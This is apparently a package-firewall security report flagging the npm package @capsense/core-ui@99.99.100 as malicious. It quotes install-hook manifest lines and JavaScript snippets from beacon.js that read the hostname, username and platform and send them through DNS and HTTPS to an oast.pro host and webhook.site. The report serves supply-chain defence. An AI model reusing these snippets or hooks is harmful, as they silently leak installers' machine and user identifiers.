---
canonical: "https://firewall.lpm.dev/npm/@capsense/core-ui"
markdown: "https://firewall.lpm.dev/npm/@capsense/core-ui/v/99.99.100.md"
package: "@capsense/core-ui"
report_status: "published"
title: "@capsense/core-ui@99.99.100 npm security report"
verdict: "malicious"
version: "99.99.100"
---

# @capsense/core-ui@99.99.100 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — External recipients can identify the machine and user where the package was installed.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Install Hook Abuse
- **Selected version:** 99.99.100
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The lifecycle hooks and beacon source establish automatic disclosure of host and user identifiers to hardcoded external endpoints without installer consent. This supports blocking the package as install-time data exfiltration.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-10-26T09:40:26.450Z
- **Finished:** 2026-10-26T09:40:56.530Z
- **Download time:** 760 ms
- **Static scan time:** 13 ms
- **AI review time:** 29307 ms
- **Total time:** 30080 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** The npm install hooks automatically disclose host and user identifiers to hardcoded external collection endpoints. No installer consent guard is present in the inspected activation or send path.

- **Trigger:** Installing the package, which runs its preinstall, install, and postinstall hooks.

- **Impact:** External recipients can identify the machine and user where the package was installed.

- **Evidence paths:** package.json, beacon.js

- **Review source:** ai\_review

- **Reviewed:** 2026-10-26T09:40:56.530Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** beacon.js builds a label from the package and lifecycle stage, hostname, username, and platform, then sends it using DNS and HTTPS requests.

- **Attack narrative:** Installing the package triggers beacon.js at three lifecycle stages. The script collects the hostname, username, platform, package identifier, and lifecycle stage, then sends the resulting label to hardcoded OAST and webhook.site endpoints without an installer consent guard. This is automatic installation-time disclosure of identifying information.

- **Rationale:** The lifecycle hooks and beacon source establish automatic disclosure of host and user identifiers to hardcoded external endpoints without installer consent. This supports blocking the package as install-time data exfiltration.

- **Files touched:** package.json, beacon.js

- **Network endpoints:** \*.dbf2v9d8dg559apcd93guf6i7uxrn5coo.oast.pro, https://webhook.site

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** All three npm install lifecycle stages automatically run beacon.js., The beacon reads the machine hostname, username, and platform and combines them with package and lifecycle identifiers., The beacon sends that identifying label through DNS and HTTPS to an OAST host and HTTPS to webhook.site., The OAST recipient is hardcoded in the package source.

## Affected versions and remediation

This report applies to @capsense/core-ui@99.99.100.

- Avoid installing @capsense/core-ui@99.99.100. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.preinstall = node beacon.js preinstall
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.preinstall = node beacon.js preinstall
```

### 3. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.install = node beacon.js install
```

### 4. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node beacon.js postinstall
```

### 5. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 6. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 7. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 8. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/beacon.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = b2dc0a3963836883
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = @capsense/ccx-welcome-page@99.99.100
matchedPath = beacon.js
matchedIdentity = npm:[redacted]:99.99.100
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
```

### 9. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/package.json>)

All three npm install lifecycle stages automatically run beacon.js.

Public source snippet (untrusted):

```json
"preinstall": "node beacon.js preinstall",
    "install": "node beacon.js install",
    "postinstall": "node beacon.js postinstall"
  },
  "keywords":
```

### 10. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/beacon.js>)

The beacon reads the machine hostname, username, and platform and combines them with package and lifecycle identifiers.

Public source snippet (untrusted):

```javascript
var host = f(os.hostname(), 14);
var user = '';
try { user = f(os.userInfo().username, 10); } catch (e) { user = 'x'; }
var plat = f(os.platform(), 6);

var label = [PKG, M
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/beacon.js>)

The beacon sends that identifying label through DNS and HTTPS to an OAST host and HTTPS to webhook.site.

Public source snippet (untrusted):

```javascript
try { dns.lookup(label + '.' + OAST, function () {}); } catch (e) {}
try { https.get('https://' + label + '.' + OAST + '/', function (r) { r.resume(); }).on('error', function () {}); } catch (e) {}
try { https.get('https://webhook.site/' + WH + '?x=' + encodeURIComponent(label), function (r) { r.resume(); }).on('error', function () {}); } catch (e) {}

setTimeout(function () { t
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/@capsense/core-ui@99.99.100/beacon.js>)

The OAST recipient is hardcoded in the package source.

Public source snippet (untrusted):

```javascript
var OAST = '[redacted].oast.pro';
var WH = '59675304-bec1-4ca0-8409-8d37b65ec116';

var stage = f(proce
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** install, postinstall, preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @capsense/core-ui
- **Ecosystem:** npm
- **Version:** 99.99.100
- **License:** MIT
- **Version published:** 2026-10-25T17:35:51.900Z
- **Package first seen:** 2026-10-26T09:40:52.439Z
- **Package last seen:** 2026-10-29T22:50:07.127Z
- **Known versions:** 4
- **Latest version:** 0.0.1-security
- **Appeal under review:** No
- **Description:** Authorized security research placeholder for responsible disclosure to Microsoft MSRC (dependency-confusion PoC). Non-malicious: beacons package name and host only, no secrets. Please contact the reporter and reserve this scope.
- **Author:** security research
- **Keywords:** security-research, responsible-disclosure, dependency-confusion-poc
- **Artifact files:** 4
- **Artifact unpacked size:** 3,674 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@capsense/core-ui/v/99.99.100>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-18295>)
- [PACKAGE](<https://www.npmjs.com/package/@capsense/core-ui/v/99.99.99>)
- [PACKAGE](<https://www.npmjs.com/package/@capsense/core-ui/v/99.99.100>)
- [ADVISORY](<https://github.com/advisories/GHSA-c2qc-c78r-386v>)
- [PACKAGE](<https://www.npmjs.com/package/@capsense/core-ui>)
- [PACKAGE](<https://www.npmjs.com/package/@capsense/core-ui/v/0.0.0-stage>)
